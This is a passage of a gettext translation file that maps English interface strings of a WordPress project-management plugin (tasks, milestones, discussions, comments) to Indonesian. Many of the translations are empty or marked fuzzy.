start date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:114 +msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:118 +msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:122 +msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:126 +msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:130 +msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:134 +msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." +msgstr "" + +#: texts/activities.php:140 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task, %2$s." +msgstr "%s berkomentar di %s" + +#: texts/activities.php:144 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:148 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task, %2$s" +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:152 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:158 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a task list, %2$s." +msgstr "%s berkomentar di %s" + +#: texts/activities.php:162 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a task list, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:166 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a task list, %2$s" +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:170 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a task list, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:176 +msgid "%1$s has commented on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:180 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a discussion board, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:184 +msgid "%1$s has replied a comment on a discussion board, %2$s" +msgstr "" + +#: texts/activities.php:188 +msgid "%1$s has updated a reply comment on a discussion board, %2$s." +msgstr "" + +#: texts/activities.php:194 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a milestone, %2$s." +msgstr "%s berkomentar di %s" + +#: texts/activities.php:198 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a milestone, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:202 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a milestone, %2$s" +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:206 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a milestone, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:212 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on the project, %2$s." +msgstr "%s berkomentar di %s" + +#: texts/activities.php:216 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on the project, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:220 +msgid "%1$s has replied a comment on the project, %2$s" +msgstr "" + +#: texts/activities.php:224 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on the project, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:230 +#, fuzzy +#| msgid "%s commented on a %s" +msgid "%1$s has commented on a file, %2$s." +msgstr "%s berkomentar di %s" + +#: texts/activities.php:234 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a comment on a file, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:238 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has replied a comment on a file, %2$s" +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:242 +#, fuzzy +#| msgid "%s updated comment on a %s" +msgid "%1$s has updated a reply comment on a file, %2$s." +msgstr "%s memperbarui komentar di %s" + +#: texts/activities.php:246 +msgid "%1$s has duplicated project from , %2$s." +msgstr "" + +#: texts/resource_types.php:5 +#, fuzzy +#| msgid "Project" +msgid "project" +msgstr "Proyek" + +#: texts/resource_types.php:8 +msgid "discussion board" +msgstr "" + +#: texts/resource_types.php:11 +#, fuzzy +#| msgid "Task List" +msgid "task list" +msgstr "Daftar Tugas" + +#: texts/resource_types.php:14 +msgid "task" +msgstr "" + +#: texts/resource_types.php:17 +#, fuzzy +#| msgid "Milestone" +msgid "milestone" +msgstr "Target" + +#: texts/resource_types.php:20 +#, fuzzy +msgid "comment" +msgstr "1 Komentar" + +#: texts/resource_types.php:23 +msgid "file" +msgstr "" + +#: texts/success_messages.php:6 +msgid "A project has been created successfully." +msgstr "" + +#: texts/success_messages.php:9 +msgid "A project has been updated successfully." +msgstr "" + +#: texts/success_messages.php:12 +msgid "A project has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:16 +msgid "A category has been created successfully." +msgstr "" + +#: texts/success_messages.php:19 +msgid "A category has been updated successfully." +msgstr "" + +#: texts/success_messages.php:22 +msgid "A category has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:25 +msgid "All the selected categories has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:29 +msgid "Successfully commented." +msgstr "" + +#: texts/success_messages.php:32 +msgid "A comment has been updated successfully." +msgstr "" + +#: texts/success_messages.php:35 +msgid "A comment has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:39 +msgid "A new discussion has been created successfully." +msgstr "" + +#: texts/success_messages.php:42 +msgid "A discussion has been updated successfully." +msgstr "" + +#: texts/success_messages.php:45 +msgid "A discussion has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:49 +msgid "A new milestone has been created successfully." +msgstr "" + +#: texts/success_messages.php:52 +msgid "A milestone has been updated successfully." +msgstr "" + +#: texts/success_messages.php:55 +msgid "A milestone has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:59 +msgid "A new task list has been created successfully." +msgstr "" + +#: texts/success_messages.php:62 +msgid "Task list has been updated successfully." +msgstr "" + +#: texts/success_messages.php:65 +msgid "Task list has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:69 +msgid "A new task has been created successfully." +msgstr "" + +#: texts/success_messages.php:72 +msgid "A Task has been updated successfully." +msgstr "" + +#: texts/success_messages.php:75 +msgid "The task has been deleted successfully." +msgstr "" + +#: texts/success_messages.php:78 +msgid "Settings has been changed successfully." +msgstr "" + +#: texts/success_messages.php:81 +#, fuzzy +#| msgid "No comments found" +msgid "No element found" +msgstr "Tidak ada komentar ditemukan" + +#: texts/success_messages.php:84 +#, fuzzy +#| msgid "No Project Found" +msgid "No Project found" +msgstr "Tidak Ada Proyek Ditemukan" + +#: texts/success_messages.php:87 +msgid "Task marked as done" +msgstr "" + +#: texts/success_messages.php:90 +msgid "Task reopened" +msgstr "" + +#: vendor/a5hleyrich/wp-background-processing/classes/wp-background-process.php:425 +msgid "Every %d Minutes" +msgstr "" + +#: views/assets/js/library.js:887 views/assets/js/library.js:1099 +#: views/assets/js/library.js:4869 views/assets/js/pm.js:887 +#: views/assets/js/pm.js:1099 views/assets/js/pm.js:5443 +#: views/assets/js/pm.js:5954 views/assets/js/pm.js:9713 +#: views/assets/js/pm.js:14773 +#: views/assets/src/components/categories/categories.vue:255 +#: views/assets/src/components/project-discussions/mixin.js:507 +#: views/assets/src/components/project-task-lists/list-comments.vue:111 +#: views/assets/src/components/project-task-lists/mixin.js:382 +#: views/assets/src/components/project-task-lists/mixin.js:602 +#: views/assets/src/components/project-task-lists/task-comments.vue:131 +#, fuzzy +#| msgid "Are you sure?" +msgid "Are you sure!" +msgstr "Apakah Anda yakin?" + +#: views/assets/js/library.js:3158 views/assets/js/pm.js:3732 +#: views/assets/src/helpers/mixin/mixin.js:703 +#: views/assets/vendor/mixin/mixin.js:636 +msgid "Are you sure to delete this project?" +msgstr "Apakah Anda yakin untuk mneghapus proyek ini?" + +#: views/assets/js/library.js:3841 views/assets/js/pm.js:4415 +#: views/assets/src/components/common/text-editor.vue:37 +msgid "Write a comment..." +msgstr "" + +#: views/assets/js/library.js:4169 views/assets/js/pm.js:4743 +#: views/assets/src/components/project-task-lists/single-task.vue:295 +msgid "Update Description" +msgstr "" + +#: views/assets/js/library.js:4632 views/assets/js/pm.js:5206 +#: views/assets/js/pm.js:10728 views/assets/js/pm.js:14513 +#: views/assets/src/components/project-discussions/comment-form.vue:39 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:48 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:64 +msgid "Add New Comment" +msgstr "" + +#: views/assets/js/library.js:4633 views/assets/js/pm.js:5207 +#: views/assets/js/pm.js:10729 views/assets/js/pm.js:14514 +#: views/assets/src/components/project-discussions/comment-form.vue:40 +#: views/assets/src/components/project-task-lists/list-comment-form.vue:49 +#: views/assets/src/components/project-task-lists/task-comment-form.vue:65 +#: views/emails/html/update-comment.php:12 +msgid "Update Comment" +msgstr "" + +#: views/assets/js/library.js:5620 views/assets/js/pm.js:7465 +msgid "textarea" +msgstr "" + +#: views/assets/js/library.js:5661 views/assets/js/pm.js:7506 +#: views/assets/js/pm.js:25191 +msgid "form" +msgstr "" + +#: views/assets/js/library.js:5753 views/assets/js/library.js:5843 +#: views/assets/js/library.js:6109 views/assets/js/library.js:6887 +#: views/assets/js/library.js:6964 views/assets/js/library.js:7110 +#: views/assets/js/library.js:10361 views/assets/js/library.js:10395 +#: views/assets/js/library.js:10440 views/assets/js/library.js:10498 +#: views/assets/js/library.js:10699 views/assets/js/library.js:10757 +#: views/assets/js/pm.js:7598 views/assets/js/pm.js:7688 +#: views/assets/js/pm.js:7954 views/assets/js/pm.js:8732 +#: views/assets/js/pm.js:8809 views/assets/js/pm.js:8955 +#: views/assets/js/pm.js:23547 views/assets/js/pm.js:23616 +#: views/assets/js/pm.js:23915 views/assets/js/pm.js:24205 +#: views/assets/js/pm.js:24239 views/assets/js/pm.js:24446 +#: views/assets/js/pm.js:24569 views/assets/js/pm.js:24729 +#: views/assets/js/pm.js:24763 views/assets/js/pm.js:25132 +#: views/assets/js/pm.js:25346 views/assets/js/pm.js:25862 +#: views/assets/js/pm.js:25896 views/assets/js/pm.js:25987 +#: views/assets/js/pm.js:26537 views/assets/js/pm.js:26640 +#: views/assets/js/pm.js:26731 views/assets/js/pm.js:26795 +#: views/assets/js/pm.js:26886 views/assets/js/pm.js:27157 +#: views/assets/js/pm.js:27200 views/assets/js/pm.js:27551 +#: views/assets/js/pm.js:27638 views/assets/js/pm.js:27777 +#: views/assets/js/pm.js:28558 views/assets/js/pm.js:28592 +#: views/assets/js/pm.js:28674 views/assets/js/pm.js:29193 +#: views/assets/js/pm.js:29234 views/assets/js/pm.js:29675 +#: views/assets/js/pm.js:29935 views/assets/js/pm.js:29969 +#: views/assets/js/pm.js:30251 views/assets/js/pm.js:30296 +#: views/assets/js/pm.js:30476 views/assets/js/pm.js:30954 +#: views/assets/js/pm.js:31165 views/assets/js/pm.js:31200 +#: views/assets/js/pm.js:31386 views/assets/js/pm.js:31477 +#: views/assets/js/pm.js:31586 views/assets/js/pm.js:31651 +#: views/assets/js/pm.js:31962 views/assets/js/pm.js:32460 +#: views/assets/js/pm.js:32830 views/assets/js/pm.js:33075 +#: views/assets/js/pm.js:33109 views/assets/js/pm.js:33209 +#: views/assets/js/pm.js:33376 views/assets/js/pm.js:33446 +#: views/assets/js/pm.js:33803 views/assets/js/pm.js:33846 +#: views/assets/js/pm.js:34055 views/assets/js/pm.js:34228 +#: views/assets/js/pm.js:34332 views/assets/js/pm.js:34372 +msgid "div" +msgstr "" + +#: views/assets/js/library.js:6909 views/assets/js/pm.js:8754 +#: views/assets/js/pm.js:23525 +msgid "span" +msgstr "" + +#: views/assets/js/library.js:6937 views/assets/js/pm.js:8782 +#: views/assets/js/pm.js:24537 views/assets/js/pm.js:26571 +#: views/assets/js/pm.js:28649 views/assets/js/pm.js:32805 +#: views/assets/js/pm.js:33414 +msgid "input" +msgstr "" + +#: views/assets/js/pm.js:2326 +#: views/assets/src/components/project-milestones/mixin.js:316 +#, fuzzy +#| msgid "Are you sure to delete this message?" +msgid "Are you sure! Want to delete this milestones?" +msgstr "Apakah Anda yakin untuk menghapus pesan ini?" + +#: views/assets/js/pm.js:5999 +#: views/assets/src/components/project-discussions/mixin.js:554 +#, fuzzy +#| msgid "Are you sure to delete this project?" +msgid "Are you sure to delete this comment?" +msgstr "Apakah Anda yakin untuk mneghapus proyek ini?" + +#: views/assets/js/pm.js:9674 +#: views/assets/src/components/categories/categories.vue:23 +#: views/assets/src/components/categories/categories.vue:212 +#, fuzzy +#| msgid "Add New Message" +msgid "Add New Category" +msgstr "Tambah Pesan Baru" + +#: views/assets/js/pm.js:9793 +#: views/assets/src/components/categories/edit-category-form.vue:42 +#, fuzzy +#| msgid "Update Message" +msgid "Update Category" +msgstr "Perbarui Pesan" + +#: views/assets/js/pm.js:10288 views/assets/js/pm.js:12746 +#: views/assets/src/components/common/header.vue:81 +#: views/assets/src/components/project-lists/project-summary.vue:165 +#, fuzzy +#| msgid "Project Activity" +msgid "Project Actions" +msgstr "Aktivitas Proyek" + +#: views/assets/js/pm.js:10314 +#: views/assets/src/components/common/header.vue:110 +msgid "Overview" +msgstr "" + +#: views/assets/js/pm.js:10323 +#: views/assets/src/components/common/header.vue:121 +msgid "Activities" +msgstr "" + +#: views/assets/js/pm.js:10332 +#: views/assets/src/components/common/header.vue:132 +#: views/assets/src/components/project-discussions/discussions.vue:20 +#: views/assets/src/components/project-lists/project-summary.vue:32 +#: views/assets/src/components/project-milestones/completed-milestones.vue:32 +#: views/assets/src/components/project-milestones/late-milestones.vue:39 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:42 +#: views/assets/src/components/project-overview/overview.vue:31 +msgid "Discussions" +msgstr "" + +#: views/assets/js/pm.js:10341 +#: views/assets/src/components/common/header.vue:143 +#: views/assets/src/components/project-lists/project-summary.vue:48 +#: views/assets/src/components/project-milestones/completed-milestones.vue:23 +#: views/assets/src/components/project-milestones/late-milestones.vue:30 +#: views/assets/src/components/project-milestones/upcoming-milestones.vue:32 +#: views/assets/src/components/project-overview/overview.vue:46 +#: views/assets/src/components/project-task-lists/default-list-page.vue:4 +msgid "Task Lists" +msgstr "Daftar Tugas" + +#: views/assets/js/pm.js:10350 +#: views/assets/src/components/common/header.vue:154 +#: views/assets/src/components/project-lists/project-summary.vue:78 +#: views/assets/src/components/project-milestones/milestones.vue:19 +#: views/assets/src/components/project-overview/overview.vue:97 +msgid "Milestones" +msgstr "target" + +#: views/assets/js/pm.js:10359 +#: views/assets/src/components/common/header.vue:165 +#: views/assets/src/components/project-lists/project-summary.vue:93 +#: views/assets/src/components/project-overview/overview.vue:82 +msgid "Files" +msgstr "Berkas" + +#: views/assets/js/pm.js:10975 +#: views/assets/src/components/categories/categories.vue:104 +#: views/assets/src/components/common/header.vue:10 +#: views/assets/src/components/project-discussions/discussions.vue:158 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:71 +msgid "Edit" +msgstr "Sunting" + +#: views/assets/js/pm.js:10976 +#: views/assets/src/components/project-discussions/discussions.vue:159 +msgid "Delete this message" +msgstr "Hapus pesan ini" + +#: views/assets/js/pm.js:10977 +#: views/assets/src/components/project-discussions/discussions.vue:160 +msgid "Make it private" +msgstr "" + +#: views/assets/js/pm.js:11351 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:55 +msgid "Enter message title" +msgstr "Masukkan judul pesan" + +#: views/assets/js/pm.js:11352 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:56 +msgid "Add Message" +msgstr "Tambah Pesan" + +#: views/assets/js/pm.js:11353 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:57 +msgid "Update Message" +msgstr "Perbarui Pesan" + +#: views/assets/js/pm.js:12089 +#: views/assets/src/components/project-lists/header.vue:69 +msgid "Start a new project" +msgstr "Mulai proyek baru" + +#: views/assets/js/pm.js:12190 +#: views/assets/src/components/project-lists/project-create-form.vue:87 +msgid "Name of the project" +msgstr "Nama proyek" + +#: views/assets/js/pm.js:12191 +#: views/assets/src/components/project-lists/project-create-form.vue:88 +msgid "Some details about the project (optional)" +msgstr "Detail untuk proyek (opsional)" + +#: views/assets/js/pm.js:12192 +#: views/assets/src/components/project-lists/project-create-form.vue:89 +msgid "Type 3 or more characters to search users..." +msgstr "" + +#: views/assets/js/pm.js:12193 views/assets/js/pm.js:18016 +#: views/assets/src/components/project-lists/directive.js:75 +#: views/assets/src/components/project-lists/project-create-form.vue:90 +msgid "Create a new user" +msgstr "" + +#: views/assets/js/pm.js:12194 +#: views/assets/src/components/project-lists/project-create-form.vue:91 +msgid "Add New Project" +msgstr "Tambah Proyek Baru" + +#: views/assets/js/pm.js:12195 +#: views/assets/src/components/project-lists/project-create-form.vue:92 +#: views/emails/html/update-project.php:9 +msgid "Update Project" +msgstr "Perbarui Proyek" + +#: views/assets/js/pm.js:12536 +#: views/assets/src/components/project-lists/project-new-user-form.vue:43 +msgid "Create User" +msgstr "" + +#: views/assets/js/pm.js:12853 +#: views/assets/src/components/project-lists/project-view.vue:17 +msgid "List View" +msgstr "" + +#: views/assets/js/pm.js:12854 +#: views/assets/src/components/project-lists/project-view.vue:18 +msgid "Grid View" +msgstr "" + +#: views/assets/js/pm.js:12946 +#: views/assets/src/components/project-milestones/action-milestones.vue:33 +msgid "Edit Milestone" +msgstr "Sunting Target" + +#: views/assets/js/pm.js:12947 +#: views/assets/src/components/project-milestones/action-milestones.vue:34 +msgid "Delete milestone" +msgstr "Hapus target" + +#: views/assets/js/pm.js:12948 +#: views/assets/src/components/project-milestones/action-milestones.vue:35 +msgid "Mark as incomplete" +msgstr "" + +#: views/assets/js/pm.js:12949 +#: views/assets/src/components/project-milestones/action-milestones.vue:36 +msgid "Mark as complete" +msgstr "Tandai selesai" + +#: views/assets/js/pm.js:13571 views/assets/js/pm.js:15563 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:44 +#: views/assets/src/components/project-task-lists/new-task-form.vue:112 +msgid "Due Date" +msgstr "" + +#: views/assets/js/pm.js:13572 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:45 +msgid "Milestone name" +msgstr "Nama target" + +#: views/assets/js/pm.js:13573 +#: views/assets/src/components/project-milestones/milestones.vue:24 +#: views/assets/src/components/project-milestones/milestones.vue:52 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:46 +msgid "Add Milestone" +msgstr "Tambah Target" + +#: views/assets/js/pm.js:13574 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:47 +msgid "Update Milestone" +msgstr "Perbarui Target" + +#: views/assets/js/pm.js:15560 +#: views/assets/src/components/project-task-lists/new-task-form.vue:109 +msgid "Add a new task" +msgstr "" + +#: views/assets/js/pm.js:15561 +#: views/assets/src/components/project-task-lists/new-task-form.vue:110 +msgid "Add extra details about this task (optional)" +msgstr "" + +#: views/assets/js/pm.js:15562 +#: views/assets/src/components/project-task-lists/new-task-form.vue:111 +msgid "Start Date" +msgstr "" + +#: views/assets/js/pm.js:15564 +#: views/assets/src/components/project-task-lists/new-task-form.vue:113 +msgid "Select User" +msgstr "" + +#: views/assets/js/pm.js:15565 +#: views/assets/src/components/project-task-lists/new-task-form.vue:114 +msgid "Update Task" +msgstr "" + +#: views/assets/js/pm.js:15566 +#: views/assets/src/components/project-task-lists/new-task-btn.vue:3 +#: views/assets/src/components/project-task-lists/new-task-form.vue:115 +msgid "Add Task" +msgstr "Tambah Tugas" + +#: views/assets/js/pm.js:15567 +#: views/assets/src/components/project-task-lists/new-task-form.vue:116 +msgid "Estimated hour to complete the task" +msgstr "" + +#: views/assets/js/pm.js:15928 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:71 +msgid "Task list name" +msgstr "" + +#: views/assets/js/pm.js:15929 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:72 +msgid "Task list details" +msgstr "" + +#: views/assets/js/pm.js:15930 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:73 +msgid "Update List" +msgstr "Perbarui Daftar" + +#: views/assets/js/pm.js:15931 +#: views/assets/src/components/project-discussions/discussions.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:74 +msgid "Add List" +msgstr "Tambah Daftar" + +#: views/assets/js/pm.js:16368 +#: views/assets/src/components/project-task-lists/single-list.vue:121 +#, fuzzy +#| msgid "Delete milestone" +msgid "Delete List" +msgstr "Hapus target" + +#: views/assets/js/pm.js:16699 views/assets/js/pm.js:16847 +#: views/assets/src/components/settings/email.vue:82 +#: views/assets/src/components/settings/general.vue:116 +msgid "Save Changes" +msgstr "Simpan Perubahan" + +#: views/assets/js/pm.js:18015 +#: views/assets/src/components/project-lists/directive.js:74 +msgid "No users found." +msgstr "" + +#: views/assets/js/pm.js:18540 +#: views/assets/src/components/project-overview/directive.js:9 +msgid "Activity" +msgstr "Aktivitas" + +#: views/assets/js/pm.js:23425 views/assets/js/pm.js:23847 +#: views/assets/js/pm.js:31861 +msgid "ul" +msgstr "" + +#: views/assets/js/pm.js:26597 +msgid "a" +msgstr "" + +#: views/assets/js/pm.js:30932 views/assets/js/pm.js:31629 +msgid "router-view" +msgstr "" + +#: views/assets/js/pm.js:33541 +msgid "svg" +msgstr "" + +#: views/assets/js/pm.js:33711 +msgid "vue-content-loading" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:27 +#: views/assets/src/components/categories/categories.vue:74 +#: views/assets/src/components/categories/categories.vue:130 +#: views/assets/src/components/categories/edit-category-form.vue:8 +msgid "Name" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:33 +#: views/assets/src/components/categories/categories.vue:79 +#: views/assets/src/components/categories/categories.vue:136 +#: views/assets/src/components/categories/edit-category-form.vue:14 +msgid "Description" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:54 +msgid "Select bulk action" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:56 +#: views/assets/src/components/categories/categories.vue:155 +msgid "Bulk Actions" +msgstr "" + +#: views/assets/src/components/categories/categories.vue:57 +#: views/assets/src/components/categories/categories.vue:156 +#: views/assets/src/components/common/header.vue:29 +#: views/assets/src/components/project-lists/project-create-form.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:134 +#: views/assets/src/components/project-task-lists/incompleted-tasks.vue:74 +msgid "Delete" +msgstr "Hapus" + +#: views/assets/src/components/categories/categories.vue:69 +#: views/assets/src/components/common/notify-user.vue:7 +msgid "Select all" +msgstr "Pilih semua" + +#: views/assets/src/components/categories/edit-category-form.vue:5 +msgid "Quick Edit" +msgstr "" + +#: views/assets/src/components/categories/edit-category-form.vue:23 +#: views/assets/src/components/project-discussions/new-discuss-form.vue:32 +#: views/assets/src/components/project-lists/project-create-form.vue:57 +#: views/assets/src/components/project-milestones/new-milestone-form.vue:18 +#: views/assets/src/components/project-task-lists/new-task-form.vue:51 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:27 +msgid "Cancel" +msgstr "Kembali" + +#: views/assets/src/components/common/color-picker.vue:9 +#, fuzzy +#| msgid "Select all" +msgid "Select Color" +msgstr "Pilih semua" + +#: views/assets/src/components/common/color-picker.vue:25 +msgid "Clear" +msgstr "" + +#: views/assets/src/components/common/color-picker.vue:31 +msgid "Close" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:10 +msgid "Delete File" +msgstr "Hapus Berkas" + +#: views/assets/src/components/common/file-uploader.vue:16 +msgid "To attach" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:17 +msgid "select files" +msgstr "" + +#: views/assets/src/components/common/file-uploader.vue:18 +msgid "from your computer." +msgstr "" + +#: views/assets/src/components/common/header.vue:17 +#: views/assets/src/components/project-lists/project-header-menu.vue:13 +#: views/assets/src/components/project-task-lists/lists.vue:92 +msgid "Completed" +msgstr "Selesai" + +#: views/assets/src/components/common/header.vue:18 +#: views/assets/src/components/project-task-lists/lists.vue:102 +msgid "Incomplete" +msgstr "" + +#: views/assets/src/components/common/header.vue:36 +#: views/assets/src/components/project-lists/project-summary.vue:141 +msgid "Complete" +msgstr "" + +#: views/assets/src/components/common/header.vue:39 +#: views/assets/src/components/project-lists/project-summary.vue:144 +msgid "Restore" +msgstr "" + +#: views/assets/src/components/common/notify-user.vue:4 +msgid "Notify users" +msgstr "Informasikan pengguna" + +#: views/assets/src/components/project-activities/activities.vue:46 +#, fuzzy +#| msgid "Load More..." +msgid "Load More ..." +msgstr "Muat Lebih Banyak..." + +#: views/assets/src/components/project-activities/activities.vue:48 +msgid "No activity fount" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:23 +msgid "" +"Use our built in discussion panel to create an open discussion, a group " +"discussion or a private conversation. Note that the Admin can always " +"moderate these discussions." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:27 +#: views/assets/src/components/project-discussions/discussions.vue:54 +msgid "Add New Discussion" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:32 +#: views/assets/src/components/project-discussions/discussions.vue:59 +msgid "Create a new message" +msgstr "Buat sebuah pesan baru" + +#: views/assets/src/components/project-discussions/discussions.vue:38 +msgid "When to use Discussions?" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:41 +msgid "To discuss a work matter privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:42 +msgid "To exchange files privately." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:43 +msgid "To discuss in a group." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:44 +msgid "To create an open discussion visible to all." +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:68 +msgid "Discussion List" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:84 +#: views/assets/src/components/project-discussions/individual-discussions.vue:32 +#: views/assets/src/components/project-task-lists/list-comments.vue:15 +#: views/assets/src/components/project-task-lists/task-comments.vue:15 +#, fuzzy +#| msgid "Body" +msgid "By" +msgstr "Isi" + +#: views/assets/src/components/project-discussions/discussions.vue:88 +#: views/assets/src/components/project-discussions/individual-discussions.vue:35 +#: views/assets/src/components/project-discussions/individual-discussions.vue:77 +#: views/assets/src/components/project-task-lists/list-comments.vue:22 +#: views/assets/src/components/project-task-lists/task-comments.vue:21 +msgid "on" +msgstr "" + +#: views/assets/src/components/project-discussions/discussions.vue:110 +#: views/assets/src/components/project-discussions/individual-discussions.vue:61 +#: views/assets/src/components/project-lists/project-summary.vue:104 +#: views/assets/src/components/project-overview/overview.vue:68 +#: views/assets/src/components/project-task-lists/lists.vue:111 +#: views/assets/src/components/project-task-lists/single-task.vue:174 +msgid "Comments" +msgstr "" + +#: views/assets/src/components/project-discussions/new-discuss-form.vue:16 +#: views/assets/src/components/project-task-lists/new-task-list-form.vue:16 +msgid "- Milestone -" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:36 +msgid "Attached to" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:38 +msgid "by" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:40 +msgid "admin" +msgstr "" + +#: views/assets/src/components/project-files/files.vue:62 +#, fuzzy +#| msgid "No users found" +msgid "No result found!" +msgstr "Pengguna tidak ditemukan" + +#: views/assets/src/components/project-lists/project-create-form.vue:13 +#: views/assets/src/components/project-lists/project-filter-by-category.vue:6 +msgid "- Project Category -" +msgstr "" + +#: views/assets/src/components/project-lists/project-create-form.vue:50 +msgid "Notify Co-Workers" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:6 +msgid "Active" +msgstr "" + +#: views/assets/src/components/project-lists/project-header-menu.vue:20 +msgid "All" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-project-btn.vue:3 +#: views/emails/html/new-project.php:10 +msgid "New Project" +msgstr "Proyek Baru" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:7 +msgid "Username" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:12 +msgid "First Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:17 +msgid "Last Name" +msgstr "" + +#: views/assets/src/components/project-lists/project-new-user-form.vue:22 +msgid "Email" +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:4 +msgid "No projects found." +msgstr "" + +#: views/assets/src/components/project-lists/project-summary.vue:63 +#: views/assets/src/components/project-overview/overview.vue:57 +msgid "Tasks" +msgstr "Tugas" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:3 +msgid "Completed Milestones" +msgstr "Target yang selesai" + +#: views/assets/src/components/project-milestones/completed-milestones.vue:43 +msgid "Completed on:" +msgstr "Diselesaikan pada:" + +#: views/assets/src/components/project-milestones/late-milestones.vue:3 +msgid "Late Milestones" +msgstr "Target yang terlambat" + +#: views/assets/src/components/project-milestones/milestones.vue:21 +msgid "" +"Create a lifecycle of your projects using milestones. Time mark the " +"different stages of your project with multiple milestones and also it will " +"help the assigned people to aim for a date to complete the project according " +"to those steps." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:37 +msgid "When to use Milestones?" +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:40 +msgid "To set a target date for the project overall." +msgstr "" + +#: views/assets/src/components/project-milestones/milestones.vue:41 +msgid "To divide a project into several development-time phases." +msgstr "" + +#: 